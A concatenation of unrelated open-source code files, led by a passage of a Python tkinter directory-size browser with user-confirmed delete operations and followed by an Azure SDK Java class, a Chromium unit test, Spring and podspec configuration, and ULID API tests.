root.option_add('*tearOff', tkinter.FALSE)
return root
@staticmethod
def attach_window_icon(root, icon):
"Generate and use the icon in the window's corner."
with open('tree.ico', 'wb') as file:
file.write(zlib.decompress(base64.b64decode(ICON)))
root.iconbitmap('tree.ico')
os.remove('tree.ico')
@classmethod
def setup_class_instance(cls, root):
"Build GUISizeTree instance that expects resizing."
instance = cls(root)
instance.grid(row=0, column=0, sticky=tkinter.NSEW)
root.grid_rowconfigure(0, weight=1)
root.grid_columnconfigure(0, weight=1)
return instance
########################################################################
# Initialize the GUISizeTree object.
def __init__(self, master=None, **kw):
"Initialize the GUISizeTree instance and configure for operation."
super().__init__(master, **kw)
# Initialize and configure this frame widget.
self.capture_root()
self.create_widgets()
self.create_supports()
self.create_bindings()
self.configure_grid()
self.configure_tree()
self.configure_menu()
# Set focus to path entry.
self.__path.focus_set()
def capture_root(self):
"Capture the root (Tk instance) of this application."
widget = self.master
while not isinstance(widget, tkinter.Tk):
widget = widget.master
self.__tk = widget
def create_widgets(self):
"Create all the widgets that will be placed in this frame."
self.__label = tkinter.ttk.Button(self, text='Path:',
command=self.choose)
self.__path = tkinter.ttk.Entry(self, cursor='xterm')
self.__run = tkinter.ttk.Button(self, text='Search',
command=self.search)
self.__cancel = tkinter.ttk.Button(self, text='Cancel',
command=self.stop_search)
self.__progress = tkinter.ttk.Progressbar(self,
orient=tkinter.HORIZONTAL)
self.__tree = tkinter.ttk.Treeview(self, columns=self.CLMS,
selectmode=tkinter.BROWSE)
self.__scroll_1 = tkinter.ttk.Scrollbar(self, orient=tkinter.VERTICAL,
command=self.__tree.yview)
self.__scroll_2 = tkinter.ttk.Scrollbar(self, orient=tkinter.HORIZONTAL,
command=self.__tree.xview)
self.__grip = tkinter.ttk.Sizegrip(self)
def create_supports(self):
"Create all GUI elements not placed directly in this frame."
self.__menu = tkinter.Menu(self)
self.create_directory_browser()
self.create_error_message()
self.create_warning_message()
def create_directory_browser(self):
"Find root of file system and create directory browser."
head, tail = os.getcwd(), True
while tail:
head, tail = os.path.split(head)
self.__dialog = tkinter.filedialog.Directory(self, initialdir=head)
def create_error_message(self):
"Create error message when trying to search bad path."
options = {'title': 'Path Error',
'icon': tkinter.messagebox.ERROR,
'type': tkinter.messagebox.OK,
'message': 'Directory does not exist.'}
self.__error = tkinter.messagebox.Message(self, **options)
def create_warning_message(self):
"Create warning message for permanent operations."
options = {'title': 'Important Warning',
'icon': tkinter.messagebox.QUESTION,
'type': tkinter.messagebox.YESNO,
'message': '''\
You cannot undo these operations.
Are you sure you want to do this?'''}
self.__warn = tkinter.messagebox.Message(self, **options)
def create_bindings(self):
"Bind the widgets to any events they will need to handle."
self.__label.bind('<Return>', self.choose)
self.__path.bind('<Control-Key-a>', self.select_all)
self.__path.bind('<Control-Key-/>', lambda event: 'break')
self.__path.bind('<Return>', self.search)
self.__run.bind('<Return>', self.search)
self.__cancel.bind('<Return>', self.stop_search)
self.bind_right_click(self.__tree, self.open_menu)
@staticmethod
def select_all(event):
"Select all of the contents in this Entry widget."
event.widget.selection_range(0, tkinter.END)
return 'break'
def bind_right_click(self, widget, action):
"Bind action to widget while considering Apple computers."
if self.__tk.tk.call('tk', 'windowingsystem') == 'aqua':
widget.bind('<2>', action)
widget.bind('<Control-1>', action)
else:
widget.bind('<3>', action)
def configure_grid(self):
"Place all widgets on the grid in their respective locations."
self.__label.grid(row=0, column=0)
self.__path.grid(row=0, column=1, sticky=tkinter.EW)
self.__run.grid(row=0, column=2, columnspan=2)
self.__run.grid_remove()
self.__cancel.grid(row=0, column=2, columnspan=2)
self.__cancel.grid_remove()
self.__run.grid()
self.__progress.grid(row=1, column=0, columnspan=4, sticky=tkinter.EW)
self.__tree.grid(row=2, column=0, columnspan=3, sticky=tkinter.NSEW)
self.__scroll_1.grid(row=2, column=3, sticky=tkinter.NS)
self.__scroll_2.grid(row=3, column=0, columnspan=3, sticky=tkinter.EW)
self.__grip.grid(row=3, column=3, sticky=tkinter.SE)
# Configure the grid to automatically resize internal widgets.
self.grid_rowconfigure(2, weight=1)
self.grid_columnconfigure(1, weight=1)
def configure_tree(self):
"Configure the Treeview widget."
# Setup the headings.
self.__tree.heading(self.TREE, text=' Name', anchor=tkinter.W,
command=self.sort_name)
self.__tree.heading(self.CLMS[0], text=' Total Size', anchor=tkinter.W,
command=self.sort_total_size)
self.__tree.heading(self.CLMS[1], text=' File Size', anchor=tkinter.W,
command=self.sort_file_size)
self.__tree.heading(self.CLMS[2], text=' Path', anchor=tkinter.W,
command=self.sort_path)
# Setup the columns.
self.__tree.column(self.TREE, minwidth=100, width=200)
self.__tree.column(self.CLMS[0], minwidth=100, width=200)
self.__tree.column(self.CLMS[1], minwidth=100, width=200)
self.__tree.column(self.CLMS[2], minwidth=100, width=200)
# Connect the Scrollbars.
self.__tree.configure(yscrollcommand=self.__scroll_1.set)
self.__tree.configure(xscrollcommand=self.__scroll_2.set)
def configure_menu(self):
"Configure the (context) Menu widget."
# Shortcut for narrowing the search.
self.__menu.add_command(label='Search Directory',
command=self.search_dir)
self.__menu.add_separator()
# Operations committed on directory.
self.__menu.add_command(label='Remove Directory', command=self.rm_dir)
self.__menu.add_command(label='Remove Files', command=self.rm_files)
self.__menu.add_separator()
# Operations that recurse on sub-directories.
self.__menu.add_command(label='Remove Sub-directories',
command=self.rm_subdirs)
self.__menu.add_command(label='Remove Sub-files',
command=self.rm_subfiles)
# Only add "Open Directory" command on Windows.
if hasattr(os, 'startfile'):
self.__menu.add_separator()
self.__menu.add_command(label='Open Directory',
command=self.open_dir)
########################################################################
# This property is used to control access to operations.
def __get_operations_enabled(self):
"Return if run button is in normal state."
return self.__run['state'].string == tkinter.NORMAL
def __set_operations_enabled(self, value):
"Enable or disable run button's state according to value."
self.__run['state'] = tkinter.NORMAL if value else tkinter.DISABLED
operations_enabled = property(__get_operations_enabled,
__set_operations_enabled,
doc="Flag controlling certain operations")
########################################################################
# Handle path browsing and searching actions.
def choose(self, event=None):
"Show directory browser and set path as needed."
path = self.__dialog.show()
if path:
# Entry is cleared before absolute path is added.
self.__path.delete(0, tkinter.END)
self.__path.insert(0, os.path.abspath(path))
def search(self, event=None):
"Search the path and display the size of the directory."
if self.operations_enabled:
self.operations_enabled = False
# Get absolute path and check existence.
path = os.path.abspath(self.__path.get())
if os.path.isdir(path):
# Enable operations after finishing search.
self.__search(path)
self.operations_enabled = True
else:
self.shake()
def __search(self, path):
"Execute the search procedure and display in Treeview."
self.__run.grid_remove()
self.__cancel.grid()
children = self.start_search()
try:
tree = SizeTree(self.update_search, path)
except StopIteration:
self.handle_stop_search(children)
else:
self.finish_search(children, tree)
self.__cancel.grid_remove()
self.__run.grid()
########################################################################
# Execute various phases of a search.
def start_search(self):
"Edit the GUI in preparation for executing a search."
self.__stop_search = False
children = Apply(TreeviewNode(self.__tree).children)
children.detach()
self.__progress.configure(mode='indeterminate', maximum=100)
self.__progress.start()
return children
def update_search(self):
"Check if search has been stopped and update the GUI."
self.validate_search()
self.update()
def validate_search(self):
"Check that the current search action is valid."
if self.__stop_search:
self.__stop_search = False
raise StopIteration('Search has been canceled!')
def stop_search(self, event=None):
"Cancel a search by setting its stop flag."
self.__stop_search = True
def handle_stop_search(self, children):
"Reset the Treeview and Progressbar on premature termination."
children.reattach()
self.__progress.stop()
self.__progress['mode'] = 'determinate'
def finish_search(self, children, tree):
"Delete old children, update Progressbar, and update Treeview."
children.delete()
self.__progress.stop()
self.__progress.configure(mode='determinate',
maximum=tree.total_nodes+1)
node = TreeviewNode(self.__tree).append(tree.name)
try:
self.build_tree(node, tree)
except StopIteration:
pass
########################################################################
# Handle Treeview column sorting events initiated by user.
def sort_name(self):
"Sort children of selected node by name."
TreeviewNode.current(self.__tree).sort_name()
def sort_total_size(self):
"Sort children of selected node by total size."
TreeviewNode.current(self.__tree).sort_total_size()
def sort_file_size(self):
"Sort children of selected node by file size."
TreeviewNode.current(self.__tree).sort_file_size()
def sort_path(self):
"Sort children of selected node by path."
TreeviewNode.current(self.__tree).sort_path()
########################################################################
# Handle right-click events on the Treeview widget.
def open_menu(self, event):
"Select Treeview row and show context menu if allowed."
item = event.widget.identify_row(event.y)
if item:
event.widget.selection_set(item)
if self.menu_allowed:
self.__menu.post(event.x_root, event.y_root)
@property
def menu_allowed(self):
"Check if menu is enabled along with operations."
return self.MENU and self.operations_enabled
def search_dir(self):
"Search the path of the currently selected row."
path = TreeviewNode.current(self.__tree).path
self.__path.delete(0, tkinter.END)
self.__path.insert(0, path)
self.search()
def rm_dir(self):
"Remove the currently selected directory."
if self.commit_permanent_operation:
self.do_remove_directory()
def rm_files(self):
"Remove the files in the currently selected directory."
if self.commit_permanent_operation:
self.do_remove_files()
def rm_subdirs(self):
"Remove the sub-directories of the currently selected directory."
if self.commit_permanent_operation:
self.do_remove_subdirectories()
def rm_subfiles(self):
"Remove the sub-files of the currently selected directory."
if self.commit_permanent_operation:
self.do_remove_subfiles()
@property
def commit_permanent_operation(self):
"Check if warning should be issued before committing operation."
return not self.WARN or self.__warn.show() == tkinter.messagebox.YES
def open_dir(self):
"Open up the current directory (only available on Windows)."
os.startfile(TreeviewNode.current(self.__tree).path)
########################################################################
# Execute actions requested by context menu.
def do_remove_directory(self):
"Remove a directory and all of its sub-directories."
self.begin_rm()
# Get the current Treeview node and delete it.
node = TreeviewNode.current(self.__tree)
directory_size, path = node.total_size, node.path
position, parent = node.position, node.delete(True)
# Delete the entire directory at path.
self.__rm_dir(self.update, path, True, True)
if os.path.isdir(path):
# Add the directory back to the Treeview.
tree = SizeTree(self.update, path)
self.begin_rm_update(tree.total_nodes + 1)
# Rebuild the Treeview under the parent.
node = parent.insert(position, tree.name)
self.build_tree(node, tree)
# New directory size.
total_size = tree.total_size
else:
self.begin_rm_update()
# New directory size.
total_size = 0
# If the size has changed, update parent nodes.
if directory_size != total_size:
diff = total_size - directory_size
self.update_parents(parent, diff)
self.end_rm()
def do_remove_files(self):
"Remove all of the files in the selected directory."
# Delete files in the directory and get its new size.
node = TreeviewNode.current(self.__tree)
total_size = self.__rm_files(node.path)
# Update current and parent nodes if the size changed.
if node.file_size != total_size:
diff = total_size - node.file_size
node.file_size = total_size
node.total_size += diff
self.update_parents(node.parent, diff)
def do_remove_subdirectories(self):
"Remove all subdirectories in the directory."
self.begin_rm()
# Remove all the children nodes in Viewtree.
node = TreeviewNode.current(self.__tree)
for child in node.children:
child.delete()
# Delete all of the subdirectories and their files.
self.__rm_dir(self.update, node.path, True)
# Find out what subdirectories could not be deteled.
tree = SizeTree(self.update, node.path)
self.begin_rm_update(tree.total_nodes)
if tree.total_nodes:
# Rebuild the Viewtree as needed.
self.build_tree(node, tree, False)
# Fix node and prepare to update parents.
diff = node.total_size - tree.total_size
node.total_size = tree.total_size
else:
# Fix node and prepare to update parents.
diff = node.file_size - node.total_size
node.total_size = node.file_size
# Update parents with new size.
self.update_parents(node.parent, diff)
self.end_rm()
def do_remove_subfiles(self):
"Remove all subfiles while keeping subdirectories in place."
self.begin_rm()
# Delete all subfiles from current directory.
node = TreeviewNode.current(self.__tree)
self.__rm_dir(self.update, node.path)
# Build a new SizeTree to find the result.
tree = SizeTree(self.update, node.path)
self.begin_rm_update(tree.total_nodes)
# Record the difference and patch the Viewtree.
diff = tree.total_size - node.total_size
self.patch_tree(node, tree)
# Fix all parent nodes with the correct size.
self.update_parents(node.parent, diff)
self.end_rm()
########################################################################
# Help update Progressbar in removal process.
def begin_rm(self):
"Start a long-running removal operation."
self.operations_enabled = False
self.__progress.configure(mode='indeterminate', maximum=100)
self.__progress.start()
def begin_rm_update(self, nodes=0):
"Move to determinate mode of updating the Viewtree."
self.__progress.stop()
self.__progress.configure(mode='determinate', maximum=nodes)
def end_rm(self):
"Finish removal process by enabling operations."
self.operations_enabled = True
########################################################################
# Help in removing directories and files.
@staticmethod
def __rm_dir(callback, path, rm_dir=False, rm_root=False):
"Remove directory at path, respecting the flags."
for root, dirs, files in os.walk(path, False):
# Ignore path if rm_root is false.
if rm_root or root != path:
callback()
for name in files:
file_name = os.path.join(root, name)
# Remove file while catching errors.
try:
os.remove(file_name)
except OSError:
pass
# Ignore directory if rm_dir is false.
if rm_dir:
try:
os.rmdir(root)
except OSError:
pass
@staticmethod
def __rm_files(path):
"Remove files in path and get remaining space."
total_size = 0
# Find all files in directory of path.
for name in os.listdir(path):
path_name = os.path.join(path, name)
if os.path.isfile(path_name):
# Try to remove any file that may have been found.
try:
os.remove(path_name)
except OSError:
try:
# If there was an error, try to get the filesize.
total_size += os.path.getsize(path_name)
except OSError:
pass
# Return best guess of space still occupied.
return total_size
########################################################################
# Update the Viewtree nodes after creating a SizeTree object.
def build_tree(self, node, tree, update_node=True):
"Build the Treeview while updating the Progressbar."
self.validate_search()
if update_node:
self.sync_nodes(node, tree)
self.add_children(node, tree)
def sync_nodes(self, node, tree):
"Update attributes on node and refresh GUI."
# Copy the information on the node.
node.total_size = tree.total_size
node.file_size = tree.file_size
node.path = tree.path
# Update the Progressbar and GUI.
self.__progress.step()
self.update()
def patch_tree(self, node, tree):
"Patch differences between node and tree."
node.total_size = tree.total_size
node.file_size = tree.file_size
self.patch_children(node, tree)
self.add_children(node, tree)
def add_children(self, node, tree):
"Build and traverse all child nodes."
for child in tree.children:
subnode = node.append(child.name)
self.build_tree(subnode, child)
def patch_children(self, node, tree):
"Patch Viewtree based on children of SizeTree."
for subnode in node.children:
child = tree.pop_child(subnode.name)
if child is None:
# Directory is gone.
subnode.delete()
else:
# Dig down further in tree.
self.__progress.step()
self.update()
self.patch_tree(subnode, child)
@staticmethod
def update_parents(node, diff):
"Add in difference to node and parents."
while not node.root:
node.total_size += diff
node = node.parent
########################################################################
# Show an error when searching paths that do not exist.
def shake(self, force=False):
"Prepare to shake the application's root window."
if force:
tkinter._tkinter.setbusywaitinterval(20)
elif tkinter._tkinter.getbusywaitinterval() != 20:
# Show error message if not running at 50 FPS.
self.__error.show()
self.operations_enabled = True
return
# Shake window at 50 FPS.
self.after_idle(self.__shake)
def __shake(self, frame=0):
"Animate each step of shaking the root window."
frame += 1
# Get the window's location and update the X position.
x, y = map(int, self.__tk.geometry().split('+')[1:])
x += round(math.sin(math.pi * frame / 2.5) * \
math.sin(math.pi * frame / 50) * 5)
self.__tk.geometry('+{}+{}'.format(x, y))
if frame < 50:
# Schedule next step in the animation.
self.after(20, self.__shake, frame)
else:
# Enable operations after one second.
self.operations_enabled = True
################################################################################
class TreeviewNode:
"Interface to allow easier interaction with Treeview instance."
@classmethod
def current(cls, tree):
"Take a tree view and return its currently selected node."
node = tree.selection()
return cls(tree, node[0] if node else node)
########################################################################
# Standard Treeview Operations
__slots__ = '__tree', '__node'
def __init__(self, tree, node=''):
"Initialize the TreeviewNode object (root if node not given)."
self.__tree = tree
self.__node = node
def __str__(self):
"Return a string representation of this node."
return '''\
NODE: {!r}
Name: {}
Total Size: {}
File Size: {}
Path {}\
'''.format(self.__node, self.name, self.total_size, self.file_size, self.path)
def insert(self, position, text):
"Insert a new node with text at position in current node."
node = self.__tree.insert(self.__node, position, text=text)
return TreeviewNode(self.__tree, node)
def append(self, text):
"Add a new node with text to the end of this node."
return self.insert(tkinter.END, text)
def move(self, parent, index):
"Insert this node under parent at index."
self.__tree.move(self.__node, parent, index)
def reattach(self, parent='', index=tkinter.END):
"Attach node to parent at index (defaults to end of root)."
self.move(parent, index)
def detach(self):
"Unlink this node from its parent but do not delete."
self.__tree.detach(self.__node)
def delete(self, get_parent=False):
"Delete this node (optionally, return parent)."
if self.__tree.exists(self.__node):
parent = self.parent if get_parent else None
self.__tree.delete(self.__node)
return parent
assert not get_parent, 'Cannot return parent!'
########################################################################
# Standard Treeview Properties
@property
def root(self):
"Return if this is the root node."
return self.__node == ''
@property
def parent(self):
"Return the parent of this node."
return TreeviewNode(self.__tree, self.__tree.parent(self.__node))
@property
def level(self):
"Return number of levels this node is under root."
count, node = 0, self
while not node.root:
node = node.parent
count += 1
return count
@property
def position(self):
"Return the position of this node in its parent."
return self.__tree.index(self.__node)
@property
def expanded(self):
"Return whether or not the node is current open."
value = self.__tree.item(self.__node, 'open')
return bool(value) and value.string == 'true'
@property
def children(self):
"Yield back each child of this node."
for child in self.__tree.get_children(self.__node):
yield TreeviewNode(self.__tree, child)
########################################################################
# Custom Treeview Properties
# (specific for application)
@property
def name(self):
"Return the name of this node (tree column)."
return self.__tree.item(self.__node, 'text')
def __get_total_size(self):
return parse(self.__tree.set(self.__node, GUISizeTree.CLMS[0]))
def __set_total_size(self, value):
self.__tree.set(self.__node, GUISizeTree.CLMS[0], convert(value))
total_size = property(__get_total_size, __set_total_size,
doc="Total size of this node (first column)")
def __get_file_size(self):
return parse(self.__tree.set(self.__node, GUISizeTree.CLMS[1]))
def __set_file_size(self, value):
self.__tree.set(self.__node, GUISizeTree.CLMS[1], convert(value))
file_size = property(__get_file_size, __set_file_size,
doc="File size of this node (second column)")
def __get_path(self):
return self.__tree.set(self.__node, GUISizeTree.CLMS[2])
def __set_path(self, value):
self.__tree.set(self.__node, GUISizeTree.CLMS[2], value)
path = property(__get_path, __set_path,
doc="Path of this node (third column)")
########################################################################
# Custom Treeview Sort Order
# (specific for application)
def sort_name(self):
"If the node is open, sort its children by name."
self.__sort(lambda child: child.name)
def sort_total_size(self):
"If the node is open, sort its children by total size."
self.__sort(lambda child: child.total_size)
def sort_file_size(self):
"If the node is open, sort its children by file size."
self.__sort(lambda child: child.file_size)
def sort_path(self):
"If the node is open, sort its children by path."
self.__sort(lambda child: child.path)
def __sort(self, key):
"Sort an expanded node's children by the given key."
if self.expanded:
nodes = list(self.children)
order = sorted(nodes, key=key)
if order == nodes:
order = reversed(order)
for child in order:
self.__tree.move(child.__node, self.__node, tkinter.END)
################################################################################
class SizeTree:
"Create a tree structure outlining a directory's size."
__slots__ = 'name path children file_size total_size total_nodes'.split()
def __init__(self, callback, path):
"Initialize the SizeTree object and search the path while updating."
callback() # Allow the GUI to be updated.
head, tail = os.path.split(path)
# Create attributes for this instance.
self.name = tail or head
self.path = path
self.children = []
self.file_size = 0
self.total_size = 0
self.total_nodes = 0
# Try searching this directory.
try:
dir_list = os.listdir(path)
except OSError:
pass
else:
# Examine each object in this directory.
for name in dir_list:
path_name = os.path.join(path, name)
if os.path.isdir(path_name):
# Create child nodes for subdirectories.
size_tree = SizeTree(callback, path_name)
self.children.append(size_tree)
self.total_size += size_tree.total_size
self.total_nodes += size_tree.total_nodes + 1
elif os.path.isfile(path_name):
# Try getting the size of files.
try:
self.file_size += os.path.getsize(path_name)
except OSError:
pass
# Add in the total file size to the total size.
self.total_size += self.file_size
def pop_child(self, name):
"Return a named child or None if not found."
for index, child in enumerate(self.children):
if child.name == name:
return self.children.pop(index)
########################################################################
def __str__(self):
"Return a representation of the tree formed by this object."
lines = [self.path]
self.__walk(lines, self.children, '')
return '\n'.join(lines)
@classmethod
def __walk(cls, lines, children, prefix):
"Generate lines based on children and keep track of prefix."
dir_prefix, walk_prefix = prefix + '+---', prefix + '| '
for pos, neg, child in cls.__enumerate(children):
if neg == -1:
dir_prefix, walk_prefix = prefix + '\\---', prefix + ' '
lines.append(dir_prefix + child.name)
cls.__walk(lines, child.children, walk_prefix)
@staticmethod
def __enumerate(sequence):
"Generate positive and negative indices for sequence."
length = len(sequence)
for count, value in enumerate(sequence):
yield count, count - length, value
################################################################################
class Apply(tuple):
"Create a container that can run a method from its contents."
def __getattr__(self, name):
"Get a virtual method to map and apply to the contents."
return self.__Method(self, name)
########################################################################
class __Method:
"Provide a virtual method that can be called on the array."
def __init__(self, array, name):
"Initialize the method with array and method name."
self.__array = array
self.__name = name
def __call__(self, *args, **kwargs):
"Execute method on contents with provided arguments."
name, error, buffer = self.__name, False, []
for item in self.__array:
attr = getattr(item, name)
try:
data = attr(*args, **kwargs)
except Exception as problem:
error = problem
else:
if not error:
buffer.append(data)
if error:
raise error
return tuple(buffer)
################################################################################
# Provide a way of converting byte sizes into strings.
def convert(number):
"Convert bytes into human-readable representation."
if not number:
return '0 Bytes'
assert 0 < number < 1 << 110, 'number out of range'
ordered = reversed(tuple(format_bytes(partition_number(number, 1 << 10))))
cleaned = ', '.join(item for item in ordered if item[0] != '0')
return cleaned
def partition_number(number, base):
"Continually divide number by base until zero."
div, mod = divmod(number, base)
yield mod
while div:
div, mod = divmod(div, base)
yield mod
def format_bytes(parts):
"Format partitioned bytes into human-readable strings."
for power, number in enumerate(parts):
yield '{} {}'.format(number, format_suffix(power, number))
def format_suffix(power, number):
"Compute the suffix for a certain power of bytes."
return (PREFIX[power] + 'byte').capitalize() + ('s' if number != 1 else '')
PREFIX = ' kilo mega giga tera peta exa zetta yotta bronto geop'.split(' ')
################################################################################
# Allow conversion of byte size strings back into numbers.
def parse(string):
"Convert human-readable string back into bytes."
total = 0
for part in string.split(', '):
number, unit = part.split(' ')
s = number != '1' and 's' or ''
for power, prefix in enumerate(PREFIX):
if unit == (prefix + 'byte' + s).capitalize():
break
else:
raise ValueError('{!r} not found!'.format(unit))
total += int(number) * 1 << 10 * power
return total
################################################################################
# Execute the main method if ran directly.
if __name__ == '__main__':
GUISizeTree.main()
| 15,487
|
1,350
|
<filename>sdk/mediaservices/microsoft-azure-media/src/main/java/com/microsoft/windowsazure/services/queue/models/CreateMessageOptions.java
/**
* Copyright Microsoft Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.microsoft.windowsazure.services.queue.models;
/**
* Represents the options that may be set on the Queue service for
* {@link com.microsoft.windowsazure.services.queue.QueueContract#createMessage(String, String, CreateMessageOptions)
* createMessage} requests. These options include a server response timeout for
* the request, the visibility timeout to set on the created message, and the
* time-to-live value to set on the message.
*/
public class CreateMessageOptions extends QueueServiceOptions {
private Integer visibilityTimeoutInSeconds;
private Integer timeToLiveInSeconds;
/**
* Sets the server request timeout value associated with this
* {@link CreateMessageOptions} instance.
* <p>
* The <em>timeout</em> value only affects calls made on methods where this
* {@link CreateMessageOptions} instance is passed as a parameter.
*
* @param timeout
* The server request timeout value to set in milliseconds.
* @return A reference to this {@link CreateMessageOptions} instance.
*/
@Override
public CreateMessageOptions setTimeout(Integer timeout) {
super.setTimeout(timeout);
return this;
}
/**
* Gets the message visibility timeout in seconds value in this
* {@link CreateMessageOptions} instance. to set on messages when making a
* {@link com.microsoft.windowsazure.services.queue.QueueContract#createMessage(String, String, CreateMessageOptions)
* createMessage} request.
*
* @return The message visibility timeout in seconds.
*/
public Integer getVisibilityTimeoutInSeconds() {
return visibilityTimeoutInSeconds;
}
/**
* Sets the message visibility timeout in seconds value to set on messages
* when making a
* {@link com.microsoft.windowsazure.services.queue.QueueContract#createMessage(String, String, CreateMessageOptions)
* createMessage} request. This allows messages to be loaded into the queue
* but not become visible until the visibility timeout has passed. Valid
* visibility timeout values range from 0 to 604800 seconds (0 to 7 days),
* and must be less than the time-to-live value.
* <p>
* The <em>visibilityTimeoutInSeconds</em> value only affects calls made on
* methods where this {@link CreateMessageOptions} instance is passed as a
* parameter.
*
* @param visibilityTimeoutInSeconds
* The length of time during which the message will be invisible,
* starting when it is added to the queue, or 0 to make the
* message visible immediately. This value must be greater than
* or equal to zero and less than or equal to the time-to-live
* value.
* @return A reference to this {@link CreateMessageOptions} instance.
*/
public CreateMessageOptions setVisibilityTimeoutInSeconds(
Integer visibilityTimeoutInSeconds) {
this.visibilityTimeoutInSeconds = visibilityTimeoutInSeconds;
return this;
}
/**
* Gets the message time-to-live in seconds value associated with this
* {@link CreateMessageOptions} instance.
*
* @return The message time-to-live value in seconds.
*/
public Integer getTimeToLiveInSeconds() {
return timeToLiveInSeconds;
}
/**
* Sets the message time-to-live timeout value to set on messages when
* making a
* {@link com.microsoft.windowsazure.services.queue.QueueContract#createMessage(String, String, CreateMessageOptions)
* createMessage} request. This is the maximum duration in seconds for the
* message to remain in the queue after it is created. Valid
* <em>timeToLiveInSeconds</em> values range from 0 to 604800 seconds (0 to
* 7 days), with the default value set to seven days.
* <p>
* The <em>timeToLiveInSeconds</em> value only affects calls made on methods
* where this {@link CreateMessageOptions} instance is passed as a
* parameter.
*
* @param timeToLiveInSeconds
* The maximum time to allow the message to be in the queue, in
* seconds.
* @return A reference to this {@link CreateMessageOptions} instance.
*/
public CreateMessageOptions setTimeToLiveInSeconds(
Integer timeToLiveInSeconds) {
this.timeToLiveInSeconds = timeToLiveInSeconds;
return this;
}
}
| 1,677
|
14,668
|
<filename>components/metrics/android_metrics_provider_unittest.cc
// Copyright 2019 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "components/metrics/android_metrics_provider.h"
#include "base/test/metrics/histogram_tester.h"
#include "testing/gtest/include/gtest/gtest.h"
namespace metrics {
class AndroidMetricsProviderTest : public testing::Test {
public:
AndroidMetricsProviderTest() = default;
~AndroidMetricsProviderTest() override = default;
protected:
base::HistogramTester histogram_tester_;
AndroidMetricsProvider metrics_provider_;
};
TEST_F(AndroidMetricsProviderTest, ProvidePreviousSessionData_IsLowRamDevice) {
metrics_provider_.ProvidePreviousSessionData(nullptr /* uma_proto */);
histogram_tester_.ExpectTotalCount("MemoryAndroid.LowRamDevice", 1);
}
TEST_F(AndroidMetricsProviderTest, ProvideCurrentSessionData_IsLowRamDevice) {
metrics_provider_.ProvideCurrentSessionData(nullptr /* uma_proto */);
histogram_tester_.ExpectTotalCount("MemoryAndroid.LowRamDevice", 1);
}
} // namespace metrics
| 352
|
348
|
{"nom":"Lonny","circ":"2ème circonscription","dpt":"Ardennes","inscrits":437,"abs":257,"votants":180,"blancs":19,"nuls":7,"exp":154,"res":[{"nuance":"LR","nom":"<NAME>","voix":116},{"nuance":"REM","nom":"M. <NAME>","voix":38}]}
| 91
|
8,599
|
/*
* Copyright 2010-2020 Alfresco Software, Ltd.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.activiti.spring.conformance.set5;
import org.activiti.api.process.runtime.connector.Connector;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
@Configuration
public class Set5RuntimeTestConfiguration {
@Bean(name = "connector-a")
public Connector connectorA() {
return integrationContext -> {
return integrationContext;
};
}
@Bean(name = "connector-b")
public Connector connectorB() {
return integrationContext -> {
return integrationContext;
};
}
}
| 378
|
613
|
#define RNG pcg64_oneseq_once_insecure
#define TWO_ARG_INIT 0
#include "pcg-test.cpp"
| 39
|
460
|
<filename>mvvmfx/src/main/java/de/saxsys/mvvmfx/utils/package-info.java
/**
* Utilities that can be useful with MVVM specific tasks or in general for JavaFX development.
*/
package de.saxsys.mvvmfx.utils;
| 71
|
5,169
|
<filename>Specs/4/0/7/GCSUIViewCategory/0.1.1/GCSUIViewCategory.podspec.json
{
"name": "GCSUIViewCategory",
"version": "0.1.1",
"summary": "GCSUIViewCategory.",
"description": "TODO: Add long description of the pod here.GCSUIViewCategory",
"homepage": "https://github.com/guochaoshun/GCSUIViewCategory",
"license": {
"type": "MIT",
"file": "LICENSE"
},
"authors": {
"guochaoshun": "<EMAIL>"
},
"source": {
"git": "https://github.com/guochaoshun/GCSUIViewCategory.git",
"tag": "0.1.1"
},
"platforms": {
"ios": "9.0"
},
"source_files": "GCSUIViewCategory/Classes/**/*"
}
| 279
|
303
|
<gh_stars>100-1000
"""
test_api_api
~~~~~~~~~~~~
Tests for the :mod:`~ulid.api.api` module.
"""
import pytest
from ulid import providers
from ulid.api.api import ALL, Api
@pytest.fixture(scope='function')
def mock_provider(mocker):
"""
Fixture that yields a mock provider.
"""
provider = mocker.Mock(spec=providers.Provider)
provider.new = mocker.Mock(side_effect=providers.DEFAULT.new)
provider.timestamp = mocker.Mock(side_effect=providers.DEFAULT.timestamp)
provider.randomness = mocker.Mock(side_effect=providers.DEFAULT.randomness)
return provider
@pytest.fixture(scope='function')
def mock_api(mock_provider):
"""
Fixture that yields a :class:`~ulid.api.api.Api` instance with a mock provider.
"""
return Api(mock_provider)
def test_all_defined_expected_methods():
"""
Assert that :attr:`~ulid.api.api.ALL` exposes expected interface.
"""
assert ALL == [
'new',
'parse',
'create',
'from_bytes',
'from_int',
'from_str',
'from_uuid',
'from_timestamp',
'from_randomness',
'MIN_TIMESTAMP',
'MAX_TIMESTAMP',
'MIN_RANDOMNESS',
'MAX_RANDOMNESS',
'MIN_ULID',
'MAX_ULID',
'Timestamp',
'Randomness',
'ULID'
]
def test_api_new_calls_provider_new(mock_api):
"""
Assert :meth:`~ulid.api.api.Api.new` calls :meth:`~ulid.providers.base.Provider.new` for timestamp
and randomness values.
"""
mock_api.new()
mock_api.provider.new.assert_called_once_with()
def test_api_from_timestamp_calls_provider_randomness(mocker, mock_api, valid_bytes_48):
"""
Assert :meth:`~ulid.api.api.Api.from_timestamp` calls :meth:`~ulid.providers.base.Provider.randomness` for a value.
"""
mock_api.from_timestamp(valid_bytes_48)
mock_api.provider.timestamp.assert_not_called()
mock_api.provider.randomness.assert_called_once_with(mocker.ANY)
def test_api_from_randomness_calls_provider_timestamp(mock_api, valid_bytes_80):
"""
